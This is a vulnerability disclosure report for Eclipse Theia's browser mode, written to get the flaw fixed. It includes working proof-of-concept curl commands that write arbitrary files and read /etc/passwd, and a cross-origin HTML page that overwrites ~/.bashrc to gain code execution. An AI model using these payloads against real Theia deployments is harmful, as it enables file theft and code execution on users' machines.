[Eclipse Theia] unauthenticated cross-origin arbitrary file write, escalate to RCE
## Basic information
**Project name:** eclipse-theia/theia
**Project id:** ecd.theia
## What are the affected versions?
Browser (non-Electron) mode. Verified on master HEAD `3351cf1363eb15fad7088cfc9e6857377baf0acc`, with the browser connection token enabled. The affected code (the `POST /file-upload` handler and the browser connection-token HTTP middleware) is present in the current release line that uses browser mode; we tested master HEAD. Electron mode uses `ElectronSecurityToken` and is not affected via this path.
## Details of the issue
**Summary.** The backend binds `POST /file-upload` in every filesystem-enabled deployment. The handler takes an attacker-supplied absolute path from the multipart `uri` field and calls `fs.move(tmp, target, { overwrite: true })` with no workspace confinement and no authentication. Because the browser connection token does not gate HTTP routes, and because `multipart/form-data` is a CORS-safelisted request type, a cross-origin web page can trigger the write with no preflight and no credentials.
**Write sink (no confinement, no auth):**
- `packages/filesystem/src/node/upload/node-file-upload-service.ts:42-47`: route registered as `multer` then handler, with no auth and no validation.
- `:64-78`: `target = FileUri.fsPath(fields.uri)` then `fs.move(..., { overwrite: true })`. `FileUri.fsPath()` does no normalization or containment.
**The connection token does not protect HTTP routes.** The token added in PR #17701 rejects tokenless WebSocket upgrades, but its HTTP middleware only (re)issues the cookie and then unconditionally calls `next()`:
- `packages/core/src/node/hosting/browser-connection-token.ts:74-85`: a WebSocket upgrade with no token is rejected.
- `:87-99`: the HTTP `expressMiddleware` never rejects, so the token is never enforced on HTTP.
**Impact (verified on a built backend).** A user visiting a malicious web page while a browser-mode Theia backend is running is exposed to:
- Arbitrary file write outside the workspace: a tokenless cross-origin `POST /file-upload` with `uri=file:///home/<user>/...` wrote a file to that absolute path (HTTP 200).
- Arbitrary file read: `GET /file?file:///etc/passwd`, the two-step `/files/` download, and `PUT /files/` (which returned a multi-file `tar`) all returned host files with no token.
- Code execution on the host (conditional): overwriting a startup-executed file such as `~/.bashrc` caused injected content to run on the next interactive shell. Full execution is conditional on the attacker targeting a known startup-file path and a later shell or login occurring; the arbitrary write and read are unconditional.
**Discriminating control (isolates the defect).** With the same missing token, a WebSocket handshake carrying a valid same-origin `Origin` returned 403, while `POST /file-upload` returned 200 and wrote the file. This confirms the token gates only the WebSocket layer, not HTTP routes, and rules out the deployment simply being unauthenticated.
**Severity.** Critical, CVSS ~9.6 (`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H`), where the backend runs as root or in a container, or where the write reaches a startup-executed path (both conditions were present in our test). Unconditional floor: High, CVSS 8.8 (`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H`, arbitrary read and write, non-root), which applies to any browser-mode deployment. CWE-352 (CSRF), CWE-306 (Missing Authentication), CWE-22/73 (external control of file path).
**Blast radius.** The `/file-upload` route is bound framework-wide, so this affects Theia and downstream products built on browser-mode Theia (for example Eclipse Che, Arduino IDE, and vendor cloud or desktop IDEs).
**Prior advisories (not a duplicate).** Distinct from the two published Theia advisories: GHSA-2m57-xxmh-v696 (`/services/request-service` SSRF) and GHSA-78g8-vm3p-97c6 (cross-origin WebSocket terminal command execution). Neither covers the `/file-upload` write, the HTTP-route CSRF, or the connection token failing to gate HTTP. The PR #17701 hardening is present in the tested HEAD, but does not cover HTTP routes.
**Reporter.** Cipher by Causal Security (https://causalsecurity.com/).
## Steps to reproduce
Build and run the browser example backend with the connection token enabled:
```
node src-gen/backend/main.js <workspace> --port=3000 --hostname=127.0.0.1
```
**1. Arbitrary write outside the workspace, plus the WS/HTTP discriminating control** (`curl`):
```bash
BASE="http://127.0.0.1:3000"
# O1: tokenless write to an absolute path outside the workspace
printf 'SENTINEL\n' > /tmp/sentinel.txt
curl -s -X POST "$BASE/file-upload" \
-F 'uri=file:///home/USER/theia_pwn' \
-F 'file=@/tmp/sentinel.txt' \
-w '[O1] HTTP=%{http_code}\n'
# => HTTP 200; /home/USER/theia_pwn created
# O2: same missing token. The Socket.IO/WS layer rejects, the HTTP route does not.
# WS handshake with a VALID same-origin Origin but NO token -> still 403.
# (Valid Origin isolates the token as the gate, not the origin check.)
curl -s -o /dev/null -w '[WS] valid-origin, no-token HTTP=%{http_code}\n' \
-H 'Origin: http://127.0.0.1:3000' "$BASE/socket.io/?EIO=4&transport=polling" # => 403
# HTTP /file-upload with NO token -> 200 and the file is written.
curl -s -o /dev/null -w '[HTTP] no-token HTTP=%{http_code}\n' \
-X POST "$BASE/file-upload" -F 'uri=file:///home/USER/theia_pwn2' -F 'file=@/tmp/sentinel.txt' # => 200
# O4: tokenless arbitrary read
curl -s "$BASE/file?file:///etc/passwd" # => 200, returns /etc/passwd
```
**2. Cross-origin CSRF, write to a startup file, code execution on next shell.** Served from a different origin (for example `http://127.0.0.1:8000`); the victim visits it while Theia runs on `:3000`. No credentials, no preflight (multipart is CORS-safelisted):
```html
<!doctype html>
<script>
const fd = new FormData();
fd.append('uri', 'file:///home/USER/.bashrc');
fd.append('file', new Blob(['\necho THEIA_RCE_ON_VISIT > /home/USER/rce_proof.txt\n']), 'x');
fetch('http://127.0.0.1:3000/file-upload',
{ method: 'POST', body: fd, mode: 'no-cors', credentials: 'omit' });
</script>
```
`~/.bashrc` is overwritten with the injected line, and it executes on the victim's next interactive shell (`rce_proof.txt` is created).
## Do you know any mitigations of the issue?
Fix (root cause):
1. Enforce the connection token (or a CSRF token) on all HTTP routes, not just the WebSocket upgrade. Reject requests with a missing or invalid token in `expressMiddleware` instead of unconditionally proceeding.
2. Confine `/file-upload`, `/file`, `/files`, and `/hostedPlugin` targets to the workspace root: canonicalize the resolved path and reject absolute paths and any target outside an allowed root; reconsider `overwrite: true`.
Operator mitigation until patched: do not expose a browser-mode Theia backend to an untrusted network or run it where a user may visit an untrusted web page in the same session; Electron mode is not affected via this path.
issue